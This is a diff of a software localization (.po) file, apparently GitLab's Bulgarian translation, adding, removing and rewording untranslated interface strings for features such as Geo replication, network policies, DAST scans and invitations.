@@ -10499,6 +10821,9 @@ msgstr ""
msgid "File"
msgstr ""
+msgid "File %{current} of %{total}"
+msgstr ""
+
msgid "File Hooks"
msgstr ""
@@ -10724,6 +11049,9 @@ msgstr ""
msgid "Footer message"
msgstr ""
+msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgstr ""
+
msgid "For internal projects, any logged in user can view pipelines and access job details (output logs and artifacts)"
msgstr ""
@@ -10895,30 +11223,15 @@ msgstr ""
msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
msgstr ""
-msgid "GeoNodes|Attachments"
-msgstr ""
-
-msgid "GeoNodes|Checksummed"
-msgstr ""
-
msgid "GeoNodes|Consult Geo troubleshooting information"
msgstr ""
-msgid "GeoNodes|Container repositories"
-msgstr ""
-
msgid "GeoNodes|Data replication lag"
msgstr ""
-msgid "GeoNodes|Design repositories"
-msgstr ""
-
msgid "GeoNodes|Does not match the primary storage configuration"
msgstr ""
-msgid "GeoNodes|Failed"
-msgstr ""
-
msgid "GeoNodes|Full"
msgstr ""
@@ -10934,12 +11247,6 @@ msgstr ""
msgid "GeoNodes|Internal URL"
msgstr ""
-msgid "GeoNodes|Job artifacts"
-msgstr ""
-
-msgid "GeoNodes|LFS objects"
-msgstr ""
-
msgid "GeoNodes|Last event ID processed by cursor"
msgstr ""
@@ -10967,12 +11274,6 @@ msgstr ""
msgid "GeoNodes|Node's status was updated %{timeAgo}."
msgstr ""
-msgid "GeoNodes|Not checksummed"
-msgstr ""
-
-msgid "GeoNodes|Package files"
-msgstr ""
-
msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
msgstr ""
@@ -10994,15 +11295,6 @@ msgstr ""
msgid "GeoNodes|Replication status"
msgstr ""
-msgid "GeoNodes|Repositories"
-msgstr ""
-
-msgid "GeoNodes|Repository checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Repository verification progress"
-msgstr ""
-
msgid "GeoNodes|Selective (%{syncLabel})"
msgstr ""
@@ -11030,27 +11322,12 @@ msgstr ""
msgid "GeoNodes|Unused slots"
msgstr ""
-msgid "GeoNodes|Unverified"
-msgstr ""
-
msgid "GeoNodes|Updated %{timeAgo}"
msgstr ""
msgid "GeoNodes|Used slots"
msgstr ""
-msgid "GeoNodes|Verified"
-msgstr ""
-
-msgid "GeoNodes|Wiki checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Wiki verification progress"
-msgstr ""
-
-msgid "GeoNodes|Wikis"
-msgstr ""
-
msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
msgstr ""
@@ -11063,6 +11340,12 @@ msgstr ""
msgid "GeoNodes|secondary nodes"
msgstr ""
+msgid "Geo|%{itemTitle} checksum progress"
+msgstr ""
+
+msgid "Geo|%{itemTitle} verification progress"
+msgstr ""
+
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -11126,6 +11409,12 @@ msgstr ""
msgid "Geo|Geo Status"
msgstr ""
+msgid "Geo|Go to the primary site"
+msgstr ""
+
+msgid "Geo|If you want to make changes, you must visit the primary site."
+msgstr ""
+
msgid "Geo|In progress"
msgstr ""
@@ -11258,10 +11547,10 @@ msgstr ""
msgid "Geo|Waiting for scheduler"
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. If you want to make changes, you must visit this page on the %{node_link_open}primary node%{node_link_close}."
+msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node."
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
+msgid "Geo|You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
msgstr ""
msgid "Geo|misconfigured"
@@ -11438,7 +11727,7 @@ msgstr ""
msgid "GitLabPages|Force HTTPS (requires valid certificates)"
msgstr ""
-msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings > General > Visibility%{strong_end} page."
+msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
@@ -11555,7 +11844,10 @@ msgstr ""
msgid "Go to %{link_to_google_takeout}."
msgstr ""
-msgid "Go to <strong>Issues</strong> > <strong>Boards</strong> to access your personalized learning issue board."
+msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
+msgstr ""
+
+msgid "Go to Integrations"
msgstr ""
msgid "Go to Webhooks"
@@ -11837,6 +12129,9 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
+msgid "Group push rule exists, try updating"
+msgstr ""
+
msgid "Group requires separate account"
msgstr ""
@@ -12113,7 +12408,7 @@ msgstr ""
msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day waiting period. This period can be %{customization_link} in instance settings"
+msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{customization_link} in instance settings"
msgstr ""
msgid "GroupSettings|Select a sub-group as the custom project template source for this group."
@@ -12326,6 +12621,9 @@ msgstr ""
msgid "Health status"
msgstr ""
+msgid "Health status cannot be edited because this issue is closed"
+msgstr ""
+
msgid "HealthCheck|Access token is"
msgstr ""
@@ -12341,6 +12639,9 @@ msgstr ""
msgid "Hello there"
msgstr ""
+msgid "Hello, %{username}!"
+msgstr ""
+
msgid "Help"
msgstr ""
@@ -12471,6 +12772,9 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
+msgid "How to upgrade"
+msgstr ""
+
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -12627,6 +12931,12 @@ msgstr ""
msgid "If you remove this license, GitLab will fall back on the previous license, if any."
msgstr ""
+msgid "If you want to re-enable two-factor authentication, visit %{two_factor_link}"
+msgstr ""
+
+msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -12780,6 +13090,9 @@ msgstr ""
msgid "ImportProjects|Importing the project failed: %{reason}"
msgstr ""
+msgid "ImportProjects|Requesting namespaces failed"
+msgstr ""
+
msgid "ImportProjects|Requesting your %{provider} repositories failed"
msgstr ""
@@ -12795,6 +13108,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Improve Issue Boards"
+msgstr ""
+
msgid "Improve Issue boards"
msgstr ""
@@ -12807,13 +13123,13 @@ msgstr ""
msgid "Improve customer support with GitLab Service Desk."
msgstr ""
-msgid "Improve search with Advanced Global Search and GitLab Enterprise Edition."
+msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
msgid "In %{time_to_now}"
msgstr ""
-msgid "In order to enable instance-level analytics, please ask an admin to enable %{usage_ping_link_start}usage ping%{usage_ping_link_end}."
+msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
msgstr ""
msgid "In order to gather accurate feature usage data, it can take 1 to 2 weeks to see your index."
@@ -12822,21 +13138,24 @@ msgstr ""
msgid "In order to personalize your experience with GitLab%{br_tag}we would like to know a bit more about you."
msgstr ""
-msgid "In order to tailor your experience with GitLab we%{br_tag}would like to know a bit more about you."
-msgstr ""
-
msgid "In progress"
msgstr ""
msgid "In the next step, you'll be able to select the projects you want to import."
msgstr ""
+msgid "Incident"
+msgstr ""
+
msgid "Incident Management Limits"
msgstr ""
msgid "IncidentManagement|All"
msgstr ""
+msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgstr ""
+
msgid "IncidentManagement|Assignees"
msgstr ""
@@ -12849,6 +13168,9 @@ msgstr ""
msgid "IncidentManagement|Date created"
msgstr ""
+msgid "IncidentManagement|Display your incidents in a dedicated view"
+msgstr ""
+
msgid "IncidentManagement|Incident"
msgstr ""
@@ -12867,6 +13189,9 @@ msgstr ""
msgid "IncidentManagement|Published to status page"
msgstr ""
+msgid "IncidentManagement|There are no closed incidents"
+msgstr ""
+
msgid "IncidentManagement|There was an error displaying the incidents."
msgstr ""
@@ -12942,6 +13267,9 @@ msgstr ""
msgid "Index all projects"
msgstr ""
+msgid "Index deletion is canceled"
+msgstr ""
+
msgid "Indicates whether this runner can pick jobs without tags"
msgstr ""
@@ -13008,6 +13336,9 @@ msgstr ""
msgid "Install on clusters"
msgstr ""
+msgid "Installation"
+msgstr ""
+
msgid "Installed"
msgstr ""
@@ -13022,7 +13353,7 @@ msgstr[1] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics visibility"
+msgid "Instance Statistics"
msgstr ""
msgid "Instance administrators group already exists"
@@ -13049,6 +13380,12 @@ msgstr ""
msgid "Integrations|Comment settings:"
msgstr ""
+msgid "Integrations|Default settings are inherited from the group level."
+msgstr ""
+
+msgid "Integrations|Default settings are inherited from the instance level."
+msgstr ""
+
msgid "Integrations|Enable comments"
msgstr ""
@@ -13061,13 +13398,10 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
-msgid "Integrations|This integration has multiple settings available."
-msgstr ""
-
msgid "Integrations|Use custom settings"
msgstr ""
-msgid "Integrations|Use instance level settings"
+msgid "Integrations|Use default settings"
msgstr ""
msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) will be created."
@@ -13097,7 +13431,7 @@ msgstr "Шаблон за интервала"
msgid "Introducing Value Stream Analytics"
msgstr ""
-msgid "Introducing Your DevOps Score"
+msgid "Introducing Your DevOps Report"
msgstr ""
msgid "Invalid Git ref"
@@ -13109,9 +13443,15 @@ msgstr ""
msgid "Invalid Login or password"
msgstr ""
+msgid "Invalid OS"
+msgstr ""
+
msgid "Invalid URL"
msgstr ""
+msgid "Invalid board"
+msgstr ""
+
msgid "Invalid container_name"
msgstr ""
@@ -13208,6 +13548,39 @@ msgstr ""
msgid "Invite teammates (optional)"
msgstr ""
+msgid "InviteEmail|%{inviter} invited you"
+msgstr ""
+
+msgid "InviteEmail|%{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|Join now"
+msgstr ""
+
+msgid "InviteEmail|You are invited!"
+msgstr ""
+
+msgid "InviteEmail|You have been invited"
+msgstr ""
+
+msgid "InviteEmail|to join the %{project_or_group_name} %{project_or_group} as a %{role}"
+msgstr ""
+
+msgid "InviteEmail|to join the %{strong_start}%{project_or_group_name}%{strong_end}"
+msgstr ""
+
+msgid "InviteMembersBanner|Collaborate with your team"
+msgstr ""
+
+msgid "InviteMembersBanner|Invite your colleagues"
+msgstr ""
+
+msgid "InviteMembersBanner|We noticed that you haven't invited anyone to this group. Invite your colleagues so you can discuss issues, collaborate on merge requests, and share your knowledge."
+msgstr ""
+
+msgid "Invited"
+msgstr ""
+
msgid "Invited users will be added with developer level permissions. You can always change this later."
msgstr ""
@@ -13247,6 +13620,9 @@ msgstr ""
msgid "Issue %{issue_reference} has already been added to epic %{epic_reference}."
msgstr ""
+msgid "Issue Analytics"
+msgstr ""
+
msgid "Issue Boards"
msgstr ""
@@ -13346,9 +13722,6 @@ msgstr ""
msgid "Issues"
msgstr ""
-msgid "Issues Analytics"
-msgstr ""
-
msgid "Issues Rate Limits"
msgstr ""
@@ -13490,6 +13863,9 @@ msgstr ""
msgid "JiraService| on branch %{branch_link}"
msgstr ""
+msgid "JiraService|%{jira_docs_link_start}Enable the Jira integration%{jira_docs_link_end} to view your Jira issues in GitLab."
+msgstr ""
+
msgid "JiraService|%{user_link} mentioned this issue in %{entity_link} of %{project_link}%{branch}:{quote}%{entity_message}{quote}"
msgstr ""
@@ -13532,6 +13908,9 @@ msgstr ""
msgid "JiraService|Password or API token"
msgstr ""
+msgid "JiraService|This feature requires a Premium plan."
+msgstr ""
+
msgid "JiraService|Transition ID(s)"
msgstr ""
@@ -13547,6 +13926,9 @@ msgstr ""
msgid "JiraService|Username or Email"
msgstr ""
+msgid "JiraService|Using Jira for issue tracking?"
+msgstr ""
+
msgid "JiraService|View Jira issues in GitLab"
msgstr ""
@@ -13835,7 +14217,7 @@ msgstr ""
msgid "Labels can be applied to issues and merge requests."
msgstr ""
-msgid "Labels|<span>Promote label</span> %{labelTitle} <span>to Group Label?</span>"
+msgid "Labels|%{spanStart}Promote label%{spanEnd} %{labelTitle} %{spanStart}to Group Label?%{spanEnd}"
msgstr ""
msgid "Labels|Promote Label"
@@ -14065,7 +14447,7 @@ msgstr ""
msgid "License ID:"
msgstr ""
-msgid "License URL"
+msgid "License overview"
msgstr ""
msgid "License-Check"
@@ -14164,10 +14546,10 @@ msgstr ""
msgid "LicenseCompliance|Remove license?"
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses in this project."
+msgid "LicenseCompliance|There are currently no policies in this project."
msgstr ""
-msgid "LicenseCompliance|There are currently no approved or blacklisted licenses that match in this project."
+msgid "LicenseCompliance|There are currently no policies that match in this project."
msgstr ""
msgid "LicenseCompliance|This license already exists in this project."
@@ -14194,6 +14576,9 @@ msgstr ""
msgid "Licensed to"
msgstr ""
+msgid "Licensed to:"
+msgstr ""
+
msgid "Licenses"
msgstr ""
@@ -14257,9 +14642,6 @@ msgstr ""
msgid "License|License"
msgstr ""
-msgid "License|Licensed user count exceeded"
-msgstr ""
-
msgid "License|You can restore access to the Gold features at any time by upgrading."
msgstr ""
@@ -14275,9 +14657,6 @@ msgstr ""
msgid "License|Your free trial of GitLab Ultimate expired on %{trial_ends_on}."
msgstr ""
-msgid "License|Your instance has exceeded your subscription's number of licensed users by %{extra_users_count}. You can continue to add more users and we'll include the overage in your next bill."
-msgstr ""
-
msgid "Limit display of time tracking units to hours."
msgstr ""
@@ -14331,6 +14710,9 @@ msgstr ""
msgid "List available repositories"
msgstr ""
+msgid "List of all merge commits"
+msgstr ""
+
msgid "List settings"
msgstr ""
@@ -14352,6 +14734,9 @@ msgstr ""
msgid "Load more"
msgstr ""
+msgid "Load more users"
+msgstr ""
+
msgid "Loading"
msgstr ""
@@ -14403,7 +14788,7 @@ msgstr ""
msgid "Lock the discussion"
msgstr ""
-msgid "Lock this %{issuableDisplayName}? Only <strong>project members</strong> will be able to comment."
+msgid "Lock this %{issuableDisplayName}? Only %{strongStart}project members%{strongEnd} will be able to comment."
msgstr ""
msgid "Lock to current projects"
@@ -14454,6 +14839,12 @@ msgstr ""
msgid "MERGED"
msgstr ""
+msgid "MR widget|Back to the Merge request"
+msgstr ""
+
+msgid "MR widget|See your pipeline in action"
+msgstr ""
+
msgid "MR widget|Take a look at our %{beginnerLinkStart}Beginner's Guide to Continuous Integration%{beginnerLinkEnd} and our %{exampleLinkStart}examples of GitLab CI/CD%{exampleLinkEnd} to learn more."
msgstr ""
@@ -14469,6 +14860,9 @@ msgstr ""
msgid "MRApprovals|Approvers"
msgstr ""
+msgid "MRApprovals|Commented by"
+msgstr ""
+
msgid "MRDiff|Show changes only"
msgstr ""
@@ -14553,9 +14947,6 @@ msgstr ""
msgid "Manifest import"
msgstr ""
-msgid "Manual job"
-msgstr ""
-
msgid "ManualOrdering|Couldn't save the order of the issues"
msgstr ""
@@ -14667,9 +15058,6 @@ msgstr ""
msgid "MattermostService|This service allows users to perform common operations on this project by entering slash commands in Mattermost."
msgstr ""
-msgid "Maven Metadata"
-msgstr ""
-
msgid "Max Group Export Download requests per minute per user"
msgstr ""
@@ -14805,6 +15193,15 @@ msgstr ""
msgid "Members can be added by project %{i_open}Maintainers%{i_close} or %{i_open}Owners%{i_close}"
msgstr ""
+msgid "Members invited to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
+msgid "Members of %{group} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "Members of %{group} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "Members of %{strong_open}%{project_name}%{strong_close}"
msgstr ""
@@ -14814,9 +15211,6 @@ msgstr ""
msgid "Members with access to %{strong_start}%{group_name}%{strong_end}"
msgstr ""
-msgid "Members with pending access to %{strong_start}%{group_name}%{strong_end}"
-msgstr ""
-
msgid "Memory Usage"
msgstr ""
@@ -14844,15 +15238,15 @@ msgstr ""
msgid "Merge Requests"
msgstr ""
-msgid "Merge Requests closed"
-msgstr ""
-
msgid "Merge Requests created"
msgstr ""
msgid "Merge Requests in Review"
msgstr ""
+msgid "Merge Requests merged"
+msgstr ""
+
msgid "Merge automatically (%{strategy})"
msgstr ""
@@ -14868,6 +15262,9 @@ msgstr ""
msgid "Merge in progress"
msgstr ""
+msgid "Merge locally"
+msgstr ""
+
msgid "Merge options"
msgstr ""
@@ -14931,6 +15328,27 @@ msgstr ""
msgid "MergeConflict|origin//their changes"
msgstr ""
+msgid "MergeRequestAnalytics|Assignees"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Date Merged"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Line changes"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Merge Request"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Milestone"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Pipelines"
+msgstr ""
+
+msgid "MergeRequestAnalytics|Time to merge"
+msgstr ""
+
msgid "MergeRequestDiffs|Commenting on lines %{selectStart}start%{selectEnd} to %{end}"
msgstr ""
@@ -15063,6 +15481,12 @@ msgstr ""
msgid "MetricChart|Selected"
msgstr ""
+msgid "MetricChart|There is no data available. Please change your selection."
+msgstr ""
+
+msgid "MetricChart|There is too much data to calculate. Please change your selection."
+msgstr ""
+
msgid "Metrics"
msgstr ""
@@ -15165,6 +15589,12 @@ msgstr ""
msgid "Metrics|Check out the CI/CD documentation on deploying to an environment"
msgstr ""
+msgid "Metrics|Collapse panel"
+msgstr ""
+
+msgid "Metrics|Collapse panel (Esc)"
+msgstr ""
+
msgid "Metrics|Copy YAML"
msgstr ""
@@ -15174,9 +15604,6 @@ msgstr ""
msgid "Metrics|Create custom dashboard %{fileName}"
msgstr ""
-msgid "Metrics|Create dashboard"
-msgstr ""
-
msgid "Metrics|Create metric"
msgstr ""
@@ -15210,9 +15637,15 @@ msgstr ""
msgid "Metrics|Duplicate dashboard"
msgstr ""
+msgid "Metrics|Duplicate this dashboard to add panel or edit dashboard YAML."
+msgstr ""
+
msgid "Metrics|Duplicating..."
msgstr ""
+msgid "Metrics|Edit dashboard YAML"
+msgstr ""
+
msgid "Metrics|Edit metric"
msgid_plural "Metrics|Edit metrics"
msgstr[0] ""
@@ -15224,9 +15657,6 @@ msgstr ""
msgid "Metrics|For grouping similar metrics"
msgstr ""
-msgid "Metrics|Go back (Esc)"
-msgstr ""
-
msgid "Metrics|Invalid time range, please verify."
msgstr ""
@@ -15254,6 +15684,9 @@ msgstr ""
msgid "Metrics|Min"
msgstr ""
+msgid "Metrics|More actions"
+msgstr ""
+
msgid "Metrics|Must be a valid PromQL query."
msgstr ""
@@ -15278,6 +15711,9 @@ msgstr ""
msgid "Metrics|Prometheus Query Documentation"
msgstr ""
+msgid "Metrics|Refresh Prometheus data"
+msgstr ""
+
msgid "Metrics|Refresh dashboard"
msgstr ""
@@ -15356,6 +15792,9 @@ msgstr ""
msgid "Metrics|View logs"
msgstr ""
+msgid "Metrics|View runbook - %{label}"
+msgstr ""
+
msgid "Metrics|Y-axis label"
msgstr ""
@@ -15406,12 +15845,18 @@ msgid_plural "Milestones"
msgstr[0] ""
msgstr[1] ""
+msgid "Milestone does not support burnup charts"
+msgstr ""
+
msgid "Milestone lists not available with your current license"
msgstr ""
msgid "Milestone lists show all issues from the selected milestone."
msgstr ""
+msgid "Milestone must have a start and due date"
+msgstr ""
+
msgid "MilestoneSidebar|Closed:"
msgstr ""
@@ -15577,6 +16022,15 @@ msgstr ""
msgid "Mirroring will only be available if the feature is included in the plan of the selected group or user."
msgstr ""
+msgid "Missing OAuth configuration for GitHub."
+msgstr ""
+
+msgid "Missing OS"
+msgstr ""
+
+msgid "Missing arch"
+msgstr ""
+
msgid "Missing commit signatures endpoint!"
msgstr ""
@@ -15622,6 +16076,9 @@ msgstr ""
msgid "Monitoring"
msgstr ""
+msgid "Month"
+msgstr ""
+
msgid "Months"
msgstr ""
@@ -15811,12 +16268,45 @@ msgstr ""
msgid "Network Policy|New rule"
msgstr ""
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is inbound from a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{ifLabelStart}if%{ifLabelEnd} %{ruleType} %{isLabelStart}is%{isLabelEnd} %{ruleDirection} %{ruleSelector} %{directionLabelStart}and is outbound to a%{directionLabelEnd} %{rule} %{portsLabelStart}on%{portsLabelEnd} %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|%{labelStart}Then%{labelEnd} %{action} %{spanStart}the network traffic.%{spanEnd}"
+msgstr ""
+
+msgid "NetworkPolicies|%{number} selected"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}all%{strongClose} pods"
+msgstr ""
+
+msgid "NetworkPolicies|%{strongOpen}any%{strongClose} port"
+msgstr ""
+
+msgid "NetworkPolicies|.yaml"
+msgstr ""
+
msgid "NetworkPolicies|.yaml mode"
msgstr ""
msgid "NetworkPolicies|Actions"
msgstr ""
+msgid "NetworkPolicies|All selected"
+msgstr ""
+
+msgid "NetworkPolicies|Allow"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all inbound traffic to %{selector} from %{ruleSelector} on %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|Allow all outbound traffic from %{selector} to %{ruleSelector} on %{ports}"
+msgstr ""
+
msgid "NetworkPolicies|Choose whether to enforce this policy."
msgstr ""
@@ -15826,6 +16316,9 @@ msgstr ""
msgid "NetworkPolicies|Define this policy's location, conditions and actions."
msgstr ""
+msgid "NetworkPolicies|Deny all traffic"
+msgstr ""
+
msgid "NetworkPolicies|Description"
msgstr ""
@@ -15838,6 +16331,9 @@ msgstr ""
msgid "NetworkPolicies|Environment does not have deployment platform"
msgstr ""
+msgid "NetworkPolicies|IP/subnet"
+msgstr ""
+
msgid "NetworkPolicies|If you are using Auto DevOps, your %{monospacedStart}auto-deploy-values.yaml%{monospacedEnd} file will not be updated if you change a policy in this section. Auto DevOps users should make changes by following the %{linkStart}Container Network Policy documentation%{linkEnd}."
msgstr ""
@@ -15856,12 +16352,18 @@ msgstr ""
msgid "NetworkPolicies|Network Policy"
msgstr ""
+msgid "NetworkPolicies|Network traffic"
+msgstr ""
+
msgid "NetworkPolicies|New policy"
msgstr ""
msgid "NetworkPolicies|No policies detected"
msgstr ""
+msgid "NetworkPolicies|None selected"
+msgstr ""
+
msgid "NetworkPolicies|Policies are a specification of how groups of pods are allowed to communicate with each other's network endpoints."
msgstr ""
@@ -15886,9 +16388,15 @@ msgstr ""
msgid "NetworkPolicies|Policy type"
msgstr ""
+msgid "NetworkPolicies|Rule"
+msgstr ""
+
msgid "NetworkPolicies|Rule mode"
msgstr ""
+msgid "NetworkPolicies|Rule mode is unavailable for this policy. In some cases, we cannot parse the YAML file back into the rules editor."
+msgstr ""
+
msgid "NetworkPolicies|Rules"
msgstr ""
@@ -15901,9 +16409,54 @@ msgstr ""
msgid "NetworkPolicies|Status"
msgstr ""
+msgid "NetworkPolicies|Traffic that does not match any rule will be blocked."
+msgstr ""
+
msgid "NetworkPolicies|YAML editor"
msgstr ""
+msgid "NetworkPolicies|all DNS names"
+msgstr ""
+
+msgid "NetworkPolicies|all IP addresses"
+msgstr ""
+
+msgid "NetworkPolicies|any pod"
+msgstr ""
+
+msgid "NetworkPolicies|any port"
+msgstr ""
+
+msgid "NetworkPolicies|domain name"
+msgstr ""
+
+msgid "NetworkPolicies|entity"
+msgstr ""
+
+msgid "NetworkPolicies|inbound to"
+msgstr ""
+
+msgid "NetworkPolicies|nowhere"
+msgstr ""
+
+msgid "NetworkPolicies|outbound from"
+msgstr ""
+
+msgid "NetworkPolicies|pod with labels"
+msgstr ""
+
+msgid "NetworkPolicies|pods %{pods}"
+msgstr ""
+
+msgid "NetworkPolicies|pods with labels"
+msgstr ""
+
+msgid "NetworkPolicies|ports %{ports}"
+msgstr ""
+
+msgid "NetworkPolicies|ports/protocols"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -16296,12 +16849,18 @@ msgstr "ÐÑма хранилище"
msgid "No required pipeline"
msgstr ""
+msgid "No runner executable"
+msgstr ""
+
msgid "No runners found"
msgstr ""
msgid "No schedules"
msgstr "ÐÑма планове"
+msgid "No source selected"
+msgstr ""
+
msgid "No stack trace for this error"
msgstr ""
@@ -16389,18 +16948,12 @@ msgstr ""
msgid "Not started"
msgstr ""
-msgid "Not-confidential epic cannot be assigned to a confidential parent epic"
-msgstr ""
-
msgid "Note"
msgstr ""
msgid "Note parameters are invalid: %{errors}"
msgstr ""
-msgid "Note that PostgreSQL %{pg_version_upcoming} will become the minimum required version in GitLab %{gl_version_upcoming} (%{gl_version_upcoming_date}). Please consider upgrading your environment to a supported PostgreSQL version soon, see <a href=\"%{pg_version_upcoming_url}\">the related epic</a> for details."
-msgstr ""
-
msgid "Note that this invitation was sent to %{mail_to_invite_email}, but you are signed in as %{link_to_current_user} with email %{mail_to_current_user}."
msgstr ""
@@ -16548,9 +17101,6 @@ msgstr ""
msgid "Novice"
msgstr ""
-msgid "Now you can access the merge request navigation tabs at the top, where they’re easier to find."
-msgstr ""
-
msgid "Nuget metadatum must have at least license_url, project_url or icon_url set"
msgstr ""
@@ -16590,9 +17140,6 @@ msgstr ""
msgid "Number of files touched"
msgstr ""
-msgid "OAuth configuration for GitHub missing."
-msgstr ""
-
msgid "OK"
msgstr ""
@@ -16635,21 +17182,27 @@ msgstr ""
msgid "OnDemandScans|Attached branch is where the scan job runs."
msgstr ""
+msgid "OnDemandScans|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "OnDemandScans|Could not run the scan. Please try again."
msgstr ""
-msgid "OnDemandScans|Could not run the scan: %{backendErrorMessage}"
+msgid "OnDemandScans|Create a new site profile"
msgstr ""
msgid "OnDemandScans|Create new DAST scan"
msgstr ""
-msgid "OnDemandScans|DAST will scan the target URL and any discovered sub URLs."
+msgid "OnDemandScans|Manage profiles"
msgstr ""
msgid "OnDemandScans|New on-demand DAST scan"
msgstr ""
+msgid "OnDemandScans|No profile yet. In order to create a new scan, you need to have at least one completed site profile."
+msgstr ""
+
msgid "OnDemandScans|On-demand Scans"
msgstr ""
@@ -16659,25 +17212,31 @@ msgstr ""
msgid "OnDemandScans|Only a passive scan can be performed on demand."
msgstr ""
-msgid "OnDemandScans|Passive DAST Scan"
+msgid "OnDemandScans|Passive"
msgstr ""
-msgid "OnDemandScans|Please enter a valid URL format, ex: http://www.example.com/home"
+msgid "OnDemandScans|Run scan"
msgstr ""
-msgid "OnDemandScans|Run this scan"
+msgid "OnDemandScans|Scan mode"
msgstr ""
-msgid "OnDemandScans|Scan mode"
+msgid "OnDemandScans|Scanner settings"
msgstr ""
msgid "OnDemandScans|Schedule or run scans immediately against target sites. Currently available on-demand scan type: DAST. %{helpLinkStart}More information%{helpLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Target URL"
+msgid "OnDemandScans|Select one of the existing profiles"
+msgstr ""
+
+msgid "OnDemandScans|Site profiles"
msgstr ""
-msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its respositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
+msgid "OnDemandScans|Use existing site profile"
+msgstr ""
+
+msgid "Once a project is permanently deleted it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd} including issues, merge requests etc."
msgstr ""
msgid "Once a project is permanently deleted it cannot be recovered. You will lose this project's repository and all content: issues, merge requests etc."
@@ -16736,9 +17295,6 @@ msgstr ""
msgid "Only active this projects shows up in the search and on the dashboard."
msgstr ""
-msgid "Only admins"
-msgstr ""
-
msgid "Only admins can delete project"
msgstr ""
@@ -16757,6 +17313,9 @@ msgstr ""
msgid "Only project members will be imported. Group members will be skipped."
msgstr ""
+msgid "Only projects created under a Gold license are available in Security Dashboards."
+msgstr ""
+
msgid "Only verified users with an email address in any of these domains can be added to the group."
msgstr ""
@@ -16772,9 +17331,15 @@ msgstr ""
msgid "Open Selection"
msgstr ""
+msgid "Open Web IDE"
+msgstr ""
+
msgid "Open comment type dropdown"
msgstr ""
+msgid "Open epics"
+msgstr ""
+
msgid "Open errors"
msgstr ""
@@ -16895,18 +17460,12 @@ msgstr ""
msgid "Outbound requests"
msgstr ""
-msgid "OutdatedBrowser|From May 2020 GitLab no longer supports Internet Explorer 11."
-msgstr ""
-
msgid "OutdatedBrowser|GitLab may not work properly, because you are using an outdated web browser."
msgstr ""
msgid "OutdatedBrowser|Please install a %{browser_link_start}supported web browser%{browser_link_end} for a better experience."
msgstr ""
-msgid "OutdatedBrowser|You can provide feedback %{feedback_link_start}on this issue%{feedback_link_end} or via your usual support channels."
-msgstr ""
-
msgid "Outdent"
msgstr ""
@@ -16940,9 +17499,6 @@ msgstr ""
msgid "Package deleted successfully"
msgstr ""
-msgid "Package information"
-msgstr ""
-
msgid "Package recipe already exists"
msgstr ""
@@ -17027,6 +17583,12 @@ msgstr ""
msgid "PackageRegistry|Copy npm setup command"
msgstr ""
+msgid "PackageRegistry|Copy registry include"
+msgstr ""
+
